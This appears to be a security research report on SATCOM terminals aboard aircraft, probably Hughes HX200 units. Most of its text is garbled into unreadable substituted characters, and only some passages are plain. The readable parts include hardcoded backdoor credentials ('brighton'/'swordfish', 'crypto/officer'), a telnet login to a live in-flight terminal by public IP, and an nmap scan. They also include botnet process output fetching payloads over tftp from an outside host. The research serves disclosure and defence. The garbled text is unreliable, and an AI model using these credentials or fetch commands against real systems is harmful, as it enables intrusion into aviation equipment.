J>*8!.%&=%/-!)&#$/*#8!5&$>!$>9!%9)&19%W!R*%-H/%9!nfallback.bin’!/#'!$>9!P*#'&H8!.%&=%/-!
nHUGHES_updater.exeb!$&!(.'/$9!$>9!'91*)9+!;W!%919%89!9#=*#99%*#=!$>*8!5*#/%W!H9!)/#!
<#&H!-&%9!/5&($!>&H!$>9!(.'/$*#=!-9)>/#*8-!>/8!599#!*-.49-9#$9'+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,:!>$$._cc'58$1+)&-cH.E)&#$9#$c(.4&/'8cIS,:cSOcT\ISSi"#8$/44/$*&#iD%&)9'(%9iZ91i0ES:iSCS:,2+.'R!
,U>$$._cc8(..&%$+*H/W/R%*)/+)&-c*#'97+.>.gi-h'&H#4&/'8oi/h1*9H'&H#4&/'o'&H#4&/'*$9-*'h2O!
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,+! J>9!R&44&H*#=!)&'9!*8!.%9$$W!97.4/#/$&%We!*$!*8!5/8*)/44W!$>9!*#$9%R/)9!H9!>/19!899#!
*#!$>9!.%91*&(8!./=9+!J>9!.%&=%/-!%9`(*%98!(8!$&!.%&1*'9!$>9!a#*$b8!"D!/#'!$>9#!
G/445/)<!(.'/$9%!H*44!)&##9)$!$&!$>9!.&%$!I2!LJ94#9$M+!

!

! !

I+! @#)9!)&##9)$9'!*$!4&&<8!R&%!$>9!R&44&H*#=!4&=*#!.%&-.$!lV7P&%<8!X&=*#_m!H>*)>!
)&%%98.&#'8!$&!$>9!'9R/(4$!V7P&%<8b8!8>944!89%1*)9+!

!

2+! "$!89#'8!$>9!(89%#/-9!nbrightonb!/#'!$>9#!H/*$8!R&%!$>9!./88H&%'!.%&-.$!R%&-!$>9!
89%19%+!
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!

:+! G*#/44WY!*$!89#'8!$>9!5/)<'&&%!./88H&%'!nswordfishb!/#'!H/*$8!R&%!$>9!8>944b8!
.%&-.$!nEpb+!

!

@51*&(84WY!$>9!#97$!8$9.!H/8!$&!$%W!$>*8!5/)<'&&%!/=/*#8$!$>9!366b8!?@A?0B!$&!899!*R!
H9!)&(4'!%9/44W!=9$!/!8>944!&#!/#!*#ER4*=>$!/*%)%/R$Y!1*/!$>9!"#$9%#9$!!

Trying 128.65.92.65... 
Connected to 128.65.92.65. 
Escape character is '^]'. 
VxWorks login: brighton 
Password:  
->  

P9!H9%9!*#+!

!

@#9!&R!$>9!-&8$!'*8/..&*#$*#=!/8.9)$8!&R!$>*8!'*8)&19%W!*8!$>/$!$>989!>/%')&'9'!
)%9'9#$*/48!>/19!599#!.%989#$!/#'!H944!<#&H#!*#!)9%$/*#!T(=>98!'91*)98!8*#)9!/$!49/8$!
$>9!-*'!ISSSb8+,CY,OY,Q!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,C!>$$._ccHHH+'84%9.&%$8+)&-cR&%(-c%IIFOI2FQETBOSSSKETBOSSS8E89%*/4!
,O!>$$._ccHHH+'84%9.&%$8+)&-cR&%(-c%,Q2:UU,UE$94#9$E4&=*#!
,Q!>$$._ccHHH+'84%9.&%$8+)&-cR&%(-c%I,US:IO,ETBOSSSKET&HE$&E(89E8$/$*)E"D!
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Post-Exploitation 
"$!H/8!/48&!.&88*549!$&!/))988!$>9!GJD!89%19%!(8*#=!$>9!8/-9!)%9'9#$*/48+!;W!/))988*#=!
$>9!R*498W8$9-!H9!)&(4'!'&H#4&/'!$>9!/)$(/4!R*%-H/%9!Lnc)R=Sc-/*#+5*#bM!%(##*#=!*#!$>9!
?@A?0B!*#!/''*$*&#!$&!4&=8!&%!)&#R*=(%/$*&#!R*498+!

K&Y!H9!/4%9/'W!>/19!/))988!$&!$>9!R*%-H/%9Y!H95!*#$9%R/)9Y!V7P&%<8!K>944Y!GJD!89%19%Y!
/#'!'&)(-9#$/$*&#+!J>989!949-9#$8!/44&H!(8!$&!(#'9%8$/#'!$>9!8W8$9-!/#'!*$8!
)/./5*4*$*98!*#!'9$/*4+!04$>&(=>Y!H9!)/##&$!R&%=9$!$>/$!H9!H9%9!/))988*#=!/#!*#ER4*=>$!
/*%)%/R$!8&!$>9!*'9/!*8!$&!=/*#!/8!-()>!<#&H49'=9!/8!.&88*549!H>*49!.9%R&%-*#=!*##&)(&(8Y!
/#'!*'9/44W!./88*19Y!/)$*&#8!&#4W+!"#!&%'9%!$&!)&-.4W!H*$>!$>*8!/..%&/)>Y!*$!*8!)%()*/4!$&!
%919%89!9#=*#99%!$>9!R*%-H/%9!/#'!-/.!/44!$>&89!R(#)$*&#/4*$*98!$>/$!/%9!'98)%*59'!*#!$>9!
)&449)$9'!'&)(-9#$8Y!*#$&!$>9!/889-54W!$>/$!*8!59*#=!/#/4W[9'+!T&H919%Y!/8!H9!>/19!
.%91*&(84W!899#Y!H9!/48&!#99'!$&!8$/W!1*=*4/#$!$&!8.&$!(#'&)(-9#$9'!R(#)$*&#/4*$*98+!!

08!/!%98(4$Y!$>*8!*8!5/8*)/44W!/!8$/$*)!/#/4W8*8!/..%&/)>e!/4$>&(=>!H9!/%9!4919%/=*#=!$>9!
/))988!$&!/!4*19!8W8$9-!*#!&%'9%!$&!=/$>9%!8&-9!*#R&%-/$*&#!$>/$!)/#!59!(89R(4!$&!/''!
8&-9!)&#$97$+!

J>9%9!/%9!$H&!-/*#!=&/48!R&%!$>9!.&8$E97.4&*$/$*&#!.>/89Y!H9!H/#$!$&_!!

•! J(%#!$>9!366b8!0Z"BN!OF,!9`(*.-9#$!L?AaY!TDJ!/#'!0NaM!*#$&!/!-/4*)*&(8!
*#$9#$*&#/4!%/'*/$&%+!J>*8!*#1&4198!)&#$%&44*#=!$>9!.&H9%!&R!$>9!$%/#8-*88*&#Y!>&H!
/#'!H>9#!$>9!8*=#/4!*8!$%/#8-*$$9'!/#'!$>9!/#$9##/!.&*#$*#=!-9)>/#*8-+!

•! 6/198'%&.!/#'!$/-.9%!H*$>!)%9H!/#'!./889#=9%b8!)&--(#*)/$*&#8+!

K/$944*$9!$9%-*#/48!/%9!(8(/44W!`(*$9!)&-.497!*#!$9%-8!&R!R(#)$*&#/4*$*98+!A98.*$9!$>*8!H9!
/%9!&19%8*-.4*RW*#=!>9%9!$&!*#$%&'()9!/#!(#'9%4W*#=!*88(9_!K/$944*$9!$9%-*#/48!/%9!n'(-5b!
'91*)98+!!!

!
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J>*8!'&98!#&$!-9/#!$>9W!/%9!#&$!)/./549!&R!'&*#=!)&-.497!/)$*&#8Y!5($!$>9W!%9`(*%9!
n8&-9&#9b!$&!$944!$>9-!H>9#Y!/#'!(8(/44W!>&HY!$&!.9%R&%-!$>&89!&.9%/$*&#8+!"#!$>*8!89#89Y!
$>9W!/%9!8*-*4/%!$&!/#!0J?Y!H>*)>!*8!$&$/44W!)/./549!&R!.9%R&%-*#=!)&-.497!$/8<8Y!8()>!/8!
'*8.9#'*#=!)/8>Y!5($!*$!-(8$!59!*#8$%()$9'!R%&-!$>9!T&8$!&#!>&H!$&!'&!8&+!

P9!>/19!$&!$/<9!*#$&!/))&(#$!$>/$!-&8$!&R!$>9!$*-9!$>9!K0JN@?!-&'9-!'9.9#'8!&#!$>9!
B9$H&%<!@.9%/$*&#8!N9#$9%!LB@NM!$&!)&-.4W!H*$>!$>9!8/$944*$9!#9$H&%<b8!%9`(*%9-9#$8+!
P9!H*44!899!4/$9%!>&H!.&$9#$*/4!/$$/)<9%8!)/#!4919%/=9!$>*8!'98*=#+!

J>9%9!/%9!$>%99!<9W!'&)(-9#$8!$>/$!)/#!59!(89'!/8!/!%9R9%9#)9!$&!(#'9%8$/#'!$>9!8W8$9-!
/8!H>&49!/8!H944!/8!$>9!'91*)98!H9!>/19!.%91*&(84W!'98)%*59'_!!

•! !lT\!KW8$9-!@19%1*9Hm!,F!

"$!.%&1*'98!/!)&-.%9>9#8*19!/#/4W8*8!&R!$>9!T(=>98!T\!8W8$9-+!"R!W&(!/%9!
*#$9%98$9'!*#!R&44&H*#=!$>*8!H>*$9./.9%!R%&-!/!$9)>#*)/4!.9%8.9)$*19Y!$>*8!'&)(-9#$!
*8!/!>*=>4W!%9)&--9#'9'!%9/'*#=+!

•! l0../%/$(8!/#'!?9$>&'!R&%!6RR*)*9#$!JA?0!;/#'H*'$>!044&)/$*&#!R&%!JNDc"D!
K/$944*$9E;/89'!B9$H&%<8m20!

J>*8!./$9#$!R%&-!T(=>98!)&#$/*#8!%9/44W!1/4(/549!*#R&%-/$*&#!/5&($!$>9!*#$9%#/4!
.%&$&)&48!(89'!59$H99#!$>9!B@N!/#'!$>9!6/%$>!K$/$*&#8+!"$!)/#!59!(89'!$&!
%9)&#8$%()$!/#'!(#'9%8$/#'!.%&.%*9$/%W!./)<9$!8$%()$(%98!*#!$>9!R*%-H/%9+!

•! lZ&H!::Y!"#)+!0..4*)/$*&#!R&%!0($>&%*$W!$&!@.9%/$9!a.!$&!,YSSS!J9)>#*)/44W!"'9#$*)/4!
09%&#/($*)/4!?&5*49!K/$944*$9!K9%1*)9!J%/#8-*$cZ9)9*19!6/%$>!K$/$*&#8!05&/%'!
N&--9%)*/4!/#'!D%*1/$9!0*%)%/R$m!21!

J>*8!*8!$>9!GNNb8!/..%&1/4!49$$9%!R&%!Z&H::!$>/$!/($>&%*[98!$>9-!$&!&.9%/$9!$>9!
0Z"BN!OF,!8W8$9-!H9!/%9!/#/4W[*#=+!"$!)&#$/*#8!1/4(/549!*#R&%-/$*&#!/5&($!*$8!
*#$9%#/4!4&=*)!/#'!R(#)$*&#/4*$*98+!

J>9!19%8*&#!&R!$>9!T\ISS!R*%-H/%9!*#!8)&.9!*8!nC+F+S+U,b+!

Main.bin:  6e64d4821c71d1312ff42d8dc8d2c86795852ed1 

"#8*'9!n-/*#+5*#b!H9!)/#!R*#'!/!?"DK!V7P&%<8!*-/=9!H>*)>!9-59'8!$>9!T(=>98!N%W.$&!
^9%#94II!L4*5)><+94RM!R&%!$9%-*#/48!&.9%/$*#=!*#!G"DK!,:SEI!-&'9+!J>*8!4*5%/%W!*8!/48&!(89'Y!
/$!%(#$*-9Y!$&!19%*RW!$>9!'*=*$/4!8*=#/$(%9!&R!-/*#+5*#+!J>*8!89)(%*$W!8)>9-9!)/#!59!
5W./889'+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

,F!>$$.8_cc(89%-/#(/4+H*<*cT(=>98cT7KW8$9-&19%1*9H+QCOF22Q2Cc1*9H!
IS!>$$.8_ccHHH+=&&=49+)&-c./$9#$8caKCQ2:S2F!
I,!>$$.8_cc/..8+R))+=&1c9'&)8i.(54*)c/$$/)>-/$)>cA0ESFE,OUI0,+.'R!
II!>$$.8_cc)8%)+#*8$+=&1cD%&j9)$8cN%W.$&=%/.>*)E?&'(49EV/4*'/$*&#ED%&=%/-cN9%$*R*)/$9cF,F!
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J>9!V7P&%<8!*-/=9!>/8!599#!)&-.*49'!H*$>!$>9!R(44!KW-5&4!J/549!*#$/)$Y!8&!*$!H/8!
.&88*549!$&!%9)&#8$%()$!8W-5&48!(8*#=!/!8*-.49!"A0!8)%*.$!$>/$!)/#!59!R&(#'!/$!$>9!
"@0)$*19!.(54*)!%9.&8*$&%W+I2!

Firmware Functionalities 
J>9!T\ISS!*8!/!>*=>E.9%R&%-/#)9!8/$944*$9!%&($9%!'98*=#9'!$&!.%&1*'9!)/%%*9%E=%/'9!"D!
89%1*)98!(8*#=!'W#/-*)/44W!/88*=#9'!>*=>E5/#'H*'$>!8/$944*$9!"D!)&##9)$*1*$W+!J>9!
R*%-H/%9!*8!`(*$9!)&-.497!'(9!$&!$>9!#(-59%!&R!R(#)$*&#/4*$*98!$>/$!>/19!599#!
*-.49-9#$9'Y!8()>!/8_ 

•! K&R$H/%9!/#'!)&#R*=(%/$*&#!(.'/$98!1*/!'&H#4&/'!R%&-!$>9!T\!3/$9H/W!

•! "-.49-9#$8!'W#/-*)Y!894RE$(#*#=!D9%R&%-/#)9!6#>/#)9-9#$!

•! D9%R&%-/#)9!6#>/#)*#=!D%&7WI:!LD6DM!8&R$H/%9!$&!/))949%/$9!$>9!$>%&(=>.($!
.9%R&%-/#)9!5W!&.$*-*[*#=!$>9!JND!$%/#8-*88*&#!&19%!$>9!8/$944*$9Y!'94*19%*#=!
8(.9%*&%!(89%!97.9%*9#)9!/#'!4*#<!9RR*)*9#)W!

•! N&#R*=(%/$*&#Y!8$/$(8!-&#*$&%*#=Y!/#'!)&--*88*&#*#=!1*/!$>9!B@N!

•! 6-59''9'!P95!*#$9%R/)9!R&%!4&)/4!8$/$(8Y!)&#$%&4!/#'!$%&(5498>&&$*#=!

•! Z9-&$9!$9%-*#/4!-/#/=9-9#$!1*/!$>9!T(=>98!a#*R*9'!649-9#$!

•! ?/#/=9%!/#'!KB?D!/=9#$!

•! AW#/-*)!&($5&(#'!)&'*#=!/#'!-&'(4/$*&#!)>/#=98!5/89'!&#!%9)9*19'!8*=#/4!

•! AW#/-*)!*#5&(#'!)&'*#=!)>/#=98!5/89'!&#!%9)9*19'!8*=#/4!

•! AW#/-*)!%9-&$9!(.4*#<!.&H9%!)&#$%&4!

J>9!R&44&H*#=!/%9/8!*44(8$%/$9!8&-9!&R!$>9!R(#)$*&#/4*$*98!$>/$!H*44!R*$!*#$&!&(%!/$$/)<!
8)9#/%*&+!

Authentication 
08!H9!)&(4'!97.9)$Y!$>9!n5%*=>$&#c8H&%'R*8>b!5/)<'&&%!*8!.%989#$+!D49/89!#&$9!$>/$!$>9!
./88H&%'!*8!*#!V7P&%<8b!>/8>9'!R&%-+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

I2!>$$.8_cc=*$>(5+)&-c"@0)$*19c!
I:!>$$.8_ccHHH+*9$R+&%=c.%&)99'*#=8cUSc"EAc.*4)E.9.ESU+$7$!
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!

!

"#!/''*$*&#!$&!$>989!)%9'9#$*/48!H9!)/#!R*#'!/#&$>9%!./*%_!ncrypto/officer’+!J>989!/%9!
/../%9#$4W!(89'!R&%!$>9!N%W.$&E&RR*)9%!%&49!$>/$!$9%-*#/48Y!&.9%/$*#=!*#!G"DKE,:SEI!-&'9Y!
#99'!$&!8(..&%$+!J>989!)%9'9#$*/48!/%9!*#*$*/4*[9'!5W!ncfm_get_support_parms’!

!

J>9#!/''9'!$&!$>9!9-59''9'!H95!89%19%!)&#R*=(%/$*&#!$&!%98$%*)$!/))988!$&!)9%$/*#!H95!
./=98!$&!$>9!N%W.$&@RR*)9%!%&49!&#4W+!



 

©2018 IOActive, Inc. [24] 

!

08!H9!)/#!899!*#!$>9!./$>8Y!$>9%9!/%9!8&-9!8.9)*R*)!R(#)$*&#8!%989%19'!R&%!$>*8!%&49+!

!

A9R*#*$94WY!H9!)&(4'!(89!$>989!5/)<'&&%8!$&!=/*#!/))988!$&!$>9!?Aa!$>%&(=>!GJDY!J94#9$!
&%!$>9!9-59''9'!P95!a"Y!*#!$>&89!.4/)98!H>9%9!*$!%9`(*%98!/($>9#$*)/$*&#+!

Malware Targeting SATCOM Terminals through Exposed Telnet 
Service 

"#!$>*8!)/89Y!59R&%9!.%&)99'*#=!H*$>!$>9!8$/$*)!/#/4W8*8!/..%&/)>!H9!4919%/=9'!$>9!/))988!
$&!/!4*19!8W8$9-!$&!&5$/*#!/!)49/%!.*)$(%9!&R!$>9!#9$H&%<!/)$*1*$W+!P9!)/#!(89!5&$>!$>9!8>944!
/#'!$>9!P95!a"!$&!&5$/*#!$>*8!*#R&%-/$*&#Y!/8!*#!8&-9!)/898!$>9!H95!a"!*8!-9%94W!/!
H%/..9%!R&%!V7P&%<8b!8>944!)&--/#'8+!

P9!.%91*&(84W!'98)%*59'!$>/$!$>9!'91*)9!H/8!97.&8*#=Y!/-&#=!&$>9%!89%1*)98Y!$>9!
V7P&%<8!'9R/(4$!8>944+!"#!$>9!R&44&H*#=!.*)$(%9Y!$>/$!8>&H8!$>9!/)$*19!#9$H&%<!)&##9)$*&#8Y!
$>9%9!*8!/#!*#$9%98$*#=!./$$9%#_!
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!

J>9%9!/%9!/!)&(.49!&R!.(54*)!"D8!$%W*#=!$&!)&##9)$!$&!$>9!J94#9$!89%1*)9Y!8&!$>9!>*=>4*=>$9'!
"D!L,Q,+IO+,Q:+,QM!H/8!R(%$>9%!*#198$*=/$9'!$&!(#'9%8$/#'!H>9$>9%!$>989!)&##9)$*&#8!
H9%9!$/%=9$9'!&%!#&$+!

Nmap scan report for 181-27-184-18.speedy.com.ar (181.27.184.18) 
Host is up (0.45s latency). 
Not shown: 990 closed ports 
PORT     STATE    SERVICE 
22/tcp   open     ssh 
23/tcp   filtered telnet 
53/tcp   filtered domain 
80/tcp   open     http 
554/tcp  filtered rtsp 
555/tcp  filtered dsf 
1025/tcp filtered NFS-or-IIS 
1026/tcp filtered LSA-or-nterm 
4224/tcp filtered xtell 
8093/tcp filtered unkno 

J>9!&RR9#'9%!>&8$!/..9/%9'!$&!59!/!)&-.%&-*89'!%&($9%!R%&-!0%=9#$*#/+!;W!97/-*#*#=!
$>9!%(##*#=!.%&)98898Y!*$!*8!9/8W!$&!#&$*)9!$>/$!8&-9$>*#=!*8!H%&#=!*#!$>9!%&($9%_!



 

©2018 IOActive, Inc. [26] 

~ $ ps 
  PID  Uid        VSZ Stat Command 
    1 root       1212 SW  init        
… 
  577 root       1508 SW  /usr/bin/ip6aac  
  587 root       1212 SW  -sh  
  619 root       1500 DW  /usr/bin/adslstart 2 1  
  620 root       1500 DW  /usr/bin/adslstart 2 1  
  695 root        764 SW  /sbin/2684d  
 1509 root            SW< [kTPTd] 
 1517 root        224 SW  iwcontrol wlan0  
 1946 root        292 SW  l2bwl4bw57bw3f3opmps 
 1947 root        268 SW  l2bwl4bw57bw3f3opmps 
 1949 root        384 SW  l2bwl4bw57bw3f3opmps 
 2401 root        428 SW  l2bwl4bw57bw3f3opmps 
 2741 root        836 SW  /usr/bin/3g-stub  
 2746 root       1268 SW  3g-mngr diald  
 2775 root       1284 SW  3g-mngr diald  
 2895 root       1212 SW  sh -c cd /tmp || cd /var/run || cd /mnt || cd 
/root | 
 2903 root       1212 SW  sh tftp2.sh  
 2913 root       1212 SW  sh -c cd /tmp || cd /var/run || cd /mnt || cd 
/root | 
 2921 root       1208 SW  sh tftp2.sh  
 2923 root       1220 SW  tftp -r ntpd -g 104.153.108.77  
 2945 root        252 SW            
 2946 root       1220 SW  tftp -r sshd -g 104.153.108.77  
 2947 root       1404 SW  /usr/sbin/dropbear  
 2962 root       1212 SW  -sh  

G(%$>9%!/#/4W8*8!%919/49'!$>*8!%&($9%!H/8!./%$!&R!$>9!3/R=W$!"&J!5&$#9$Y!8)/##*#=!R&%!#9H!
.&$9#$*/4!$/%=9$8+!J>9%9!*8!#&!*#'*)/$*&#!$>/$!$>*8!-/4H/%9!R/-*4W!9*$>9%!>/'!8())988!
/))988*#=!$>9!K0JN@?!$9%-*#/4!&#!/#W!/*%)%/R$!&%!$>/$!*$!H/8!8.9)*R*)/44W!$/%=9$*#=!
/*%5&%#9!%&($9%8Y!8&!H9!8>&(4'!)&#8*'9%!$>*8!8*$(/$*&#!/8!/!n)&44/$9%/4!'/-/=9b+!T&H919%Y!
$>9!/8$&#*8>*#=!R/)$!*8!$>/$!$>*8!5&$#9$!H/8Y!*#/'19%$9#$4WY!.9%R&%-*#=!5%($9ER&%)9!/$$/)<8!
/=/*#8$!K0JN@?!-&'9-8!4&)/$9'!&#5&/%'!/#!*#ER4*=>$!/*%)%/R$+!

Accelerators 
K0JN@?!'91*)98!(8(/44W!*-.49-9#$!'/$/!/))949%/$&%8Y!9*$>9%!*#$9%#/44W!&%!5W!(8*#=!
97$9%#/4!9`(*.-9#$+!T(=>98b!T\!8W8$9-!*8!#&$!/#!97)9.$*&#!8&!*$8!$9%-*#/48!8(..&%$!5&$>!
JNDc"D!/#'!P95!5%&H8*#=!/))949%/$*&#!$>%&(=>!$>9!D6D!/#'!J(%5&D/=9!R(#)$*&#/4*$*98!
%98.9)$*194W+!J>9!R&44&H*#=!.*)$(%98!/%9!97$%/)$9'!R%&-!&RR*)*/4!T(=>98!'&)(-9#$8IU+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

IU!>$$.8_cc(89%-/#(/4+H*<*cT(=>98cT:QOFIT%,+OQQFQQI:,+.'R!
!
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!

!

P9!)/#!9/8*4W!*'9#$*RW!$>9!R(#)$*&#8!59>*#'!$>9!J(%5&D/=9!*-.49-9#$/$*&#Y!/8!$>9!
R&44&H*#=!*-/=9!8>&H8+!!G%&-!/#!&RR9#8*19!.9%8.9)$*19Y!$>*8!H&(4'!/44&H!/#!/$$/)<9%!$&!
*#$9%)9.$!$>9!H958*$98!$>/$!/%9!59*#=!%9`(98$9'Y!/48&!&.9#*#=!$>9!'&&%!$&!-/#*.(4/$9!'/$/!
/$!H*44+!!
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!

048&Y!$>9%9!/%9!)&-.%988*&#!/4=&%*$>-8!*#1&419'!*#!$>*8!R(#)$*&#/4*$WY!8()>!/8!f^Y!;XNY!&%!
$>9!97$9#'9'!19%8*&#!&R!V::!$>/$!H/8!)%9/$9'!5W!T(=>98+!

!
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D9%R&%-/#)9!6#>/#)*#=!D%&7W!

!

N&-./#*98!8>&(4'!#&$*)9!$>/$!/))949%/$&%8!#99'!$&!59!)&#8*'9%9'!/#!/$$/)<!19)$&%!R&%!
K0JN@?!'9.4&W-9#$8+!a8(/44W!$>9!4&=*)!59>*#'!$>9-!*#1&4198!*#$9#89!./%8*#=!&R!H95!
./=98!/#'c&%!JNDc"D!./)<9$8+!

Automatic Beam Switching (ABS) 
J>*8!<*#'!&R!$9)>#&4&=W!/44&H8!$>9!0Na!$&!59!'*%9)$4W!)&#$%&449'!5W!/!-&'9-!*#!&%'9%!$&!
-/*#$/*#!)&##9)$*1*$W!H>*49!-&1*#=!R%&-!'*RR9%9#$!59/-8+!J>*8!n%&/-*#=b!*8!.9%R&%-9'!
/))&%'*#=!$&!4&)/44W!8$&%9'!8/$944*$9!R&&$.%*#$!-/.8Y!8/$944*$9!./%/-9$9%8!/#'!%9/4E$*-9!
.&8*$*&#8+!04$>&(=>!$>9!?Aa!8(..&%$8!$>*8!-&'9!&R!&.9%/$*&#Y!H>9#!*$!*8!9#/549'!$>%&(=>!
$>9!n4&)/4+/b!)&#R*=(%/$*&#!R*49!Lnc)R=Sbc4&)/4+/bMY!R&%!366b8!'9.4&W-9#$!$>*8!R(#)$*&#/4*$W!>/8!
599#!'*8/549'_!

absCfEnable=0 
acuCfPort=0 
acuCfType=0 
acuCfPolType=0 
acuCfIpAddress=0 

T&H919%Y!*$!*8!*#$9%98$*#=!$&!5%*9R4W!/#/4W[9!$>9!4&=*)!59>*#'!T\ISSb8!0;K!*-.49-9#$/$*&#!
$&!*44(8$%/$9!>&H!.&$9#$*/44WY!*#!/!'*RR9%9#$!8)9#/%*&Y!*$!H&(4'!59!.&88*549!$&!)&--/#'!/!
8.9)*R*)!0Na!L'*RR9%9#$!R%&-!$>9!-&'94!$>/$!366!*8!(8*#=M!'*%9)$4W!R%&-!$>9!-&'9-+!
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!!

G*%8$!&R!/44Y!$>9!R*%-H/%9!)>9)<8!H>9$>9%!0;K!>/8!599#!9#/549'Y!/#'!*R!8&!$>9#!.%&)99'8!
$&!&5$/*#!$>9!%9`(*%9'!./%/-9$9%8!R&%!$>9!8(..&%$9'!0NaICY!R%&-!$>9!8/-9!)&#R*=(%/$*&#!
R*49Y!8()>!/8!"D!/#'!.&%$+!

!

J>9#!$>9!?Aa!$%*98!$&!)&##9)$!$&!$>9!0Na!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

IC!&%5*$E)8+)&-!
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!

@#)9!)&##9)$9'Y!*$!(898!$>9!)(8$&-!0Nab8!.%&$&)&4!$&!*#*$*/$9!$>9!>/#'8>/<9+!
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!

P>9#!$>*8!>/#'8>/<9!>/8!599#!)&-.49$9'Y!/#'!$>9!-&'9-!>/8!8())988R(44W!98$/54*8>9'!
/!)&##9)$*&#!$&!$>9!0NaY!$>9%9!/%9!'*RR9%9#$!)&--/#'8!$>/$!)/#!59!89#$!$&!$>*8!0Na!*#!
&%'9%!$&!-($9c(#-($9!$>9!$%/#8-*88*&#!L5W!)&#$%&44*#=!$>9!;4&)<!a.!N&#19%$9%M+!T/1*#=!
)&#$%&4!&19%!H>9$>9%!/#!/#$9##/!*8!$%/#8-*$$*#=!&%!#&$!*8!/!<9W!)/./5*4*$W!H>9#!
)&#8*'9%*#=!ZG!/$$/)<8!*#!K0JN@?!9#1*%&#-9#$8+!
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!

J>*8!8*$(/$*&#!/48&!*#$%&'()98!$>9!.%&549-!&R!$>9!89)(%*$W!.&8$(%9!H9!)/#!R*#'!*#!.%&$&)&48!
(89'!$&!*#$9%R/)9!H*$>!'*RR9%9#$!0Na8Y!/48&!*#!$>9!-/%*$*-9!89)$&%+!G&%!*#8$/#)9Y!
@.9#0?"DIO!'&98!#&$!8$%*)$4W!%9`(*%9!/!8.9)*R*)!/($>9#$*)/$*&#!&%!/($>&%*[/$*&#!
-9)>/#*8-+!J>9!8/-9!*88(9!>/8!599#!R&(#'!*#!&$>9%!.%&.%*9$/%W!.%&$&)&48Y!/4$>&(=>!
'9$/*48!/%9!&-*$$9'!*#!$>*8!./.9%+ 

Network Operations Center (NOC) 
P9!/#$*)*./$9'!K0JN@?!$9%-*#/48!>*=>4W!'9.9#'!&#!$>9!B@N!$&!%9)9*19!*#8$%()$*&#8!$&!
.%&.9%4W!&.9%/$9+!"#!&(%!8.9)*R*)!)/89Y!$>9!B@N!*8!*#!)>/%=9!&R!$>9!R&44&H*#=!R(#)$*&#8_!

•! ?/#/=*#=!8/$944*$9!$%/#8.&#'9%!)/./)*$W!

•! 044&)/$*#=!R&%H/%'!/#'!%9$(%#!4*#<!R%9`(9#)*98!$%/#8-*$!/($>&%*[/$*&#Y!'/$/!%/$9Y!/#'!
$%/#8-*$!.&H9%!R&%!9/)>!/*%5&%#9!$9%-*#/4!

•! ?&#*$&%*#=!&R!$>9!6"ZD!491948!$&!9/)>!8/$944*$9!$%/#8.&#'9%!/#'!)&--/#'*#=!
$%/#8-*$!.&H9%!)>/#=98!&R!8949)$9'!/*%5&%#9!$9%-*#/48!/8!%9`(*%9'!

•! ?/#/=*#=!'/$/!%/$9!)>/#=9!%9`(98$8!R%&-!/*%5&%#9!$9%-*#/48+!

•! ?/#/=*#=!/==%9=/$9!&RRE/7*8!6"ZD!8.9)$%/4!'9#8*$W!

•! ?/#/=*#=!R/(4$8!&R!$>9!8W8$9-Y!*#)4('*#=!-/*#$/*#*#=!8W8$9-!H*'9!<99.E/4*19!
8*=#/4*#=!R&%!.&8*$*19!)&#$%&4!&R!/*%5&%#9!$9%-*#/4!$%/#8-*88*&#8!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

IO!“OpenAMIP is an IP based protocol that facilitates the exchange of information between an Antenna 
Controller Unit and a satellite router.  
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!

;/8*)/44WY!&#)9!'/$/!R%&-!$>9!/*%)%/R$!#/1*=/$*&#!8W8$9-!*8!/1/*4/549Y!$>9!/#$9##/!
/($&-/$*)/44W!.&*#$8!$&!$>9!'98*%9'!8/$944*$9!/#'!59=*#8!%9)9*1*#=!$>9!R&%H/%'!4*#<8+!
T&H919%Y!*#!&%'9%!$&!/1&*'!ZG!*#$9%R9%9#)98!$&!&$>9%!8/$944*$98Y!$>9!/*%5&%#9!$9%-*#/4!
)/##&$!8$/%$!$%/#8-*$$*#=!$&!$>9!8/$944*$9!W9$Y!(#$*4!$>9!B@N!/($>&%*[98!$>9!$9%-*#/4!1*/!$>9!
R&%H/%'!4*#<+!a.&#!%9)9*.$!&R!$>*8!/($>&%*[/$*&#Y!$>9!/*%5&%#9!$9%-*#/4!)&#8(4$8!#&#E
$%/#8-*$!.&4*)W!*#R&%-/$*&#!4&)/44W!8$&%9'!/#'!)&-./%98!$>*8!$&!/*%)%/R$!#/1*=/$*&#!8W8$9-!
4&)/$*&#!*#R&%-/$*&#!$&!'9$9%-*#9!H>9$>9%!$>9!/*%)%/R$!*8!.9%-*$$9'!$&!$%/#8-*$+!K$*44Y!$>9%9!
/%9!&$>9%!*#.($8!$>/$!)&-.49$9!$>9!n9#/549!$%/#8-*88*&#!4&=*)b_!

•! B&!R/(4$8!/%9!'9$9)$9'!

•! J>9!)/4)(4/$9'!.&*#$*#=!'*%9)$*&#!*8!#&$!*#8*'9!/!n54&)<9'!'*%9)$*&#b!-/8<!/%9/!

•! N&%%9)$!.&4/%*[/$*&#!

•! D&*#$*#=!9%%&%!*8!89#89'!/8!4988!$>/#!$>9!%9=(4/$&%W!4*-*$!LS+I!'9=%998M!

•! J>9!?&'9-!*8!4&)<9'!&#!$>9!'98*%9'!8/$944*$9!Z\!8*=#/4!

B&$!/44!$>989!R(#)$*&#8!/%9!)&#$%&449'!5W!$>9!-&'9-Y!8&!*#!&%'9%!$&!$(%#!&(%!)&-.%&-*89'!
T\ISS!*#$&!/#!*#$9#$*&#/4!%/'*/$&%!H9!/48&!-/W!#99'!$&!$/<9!)&#$%&4!&19%!)9%$/*#!
R(#)$*&#/4*$*98!&#!$>9!^ZGa!/#'!^0BAa+!!

J>9!'*RR9%9#$!<*#'8!&R!-988/=98!8(..&%$9'!59$H99#!$>9!$9%-*#/4!/#'!$>9!B@N!/%9!`(*$9!
)&-.497+!J>9W!/%9!H944!'98)%*59'!*#!$>9!./$9#$8!H9!>/19!.%91*&(84W!%9R9%9#)9'+!"#8$9/'!
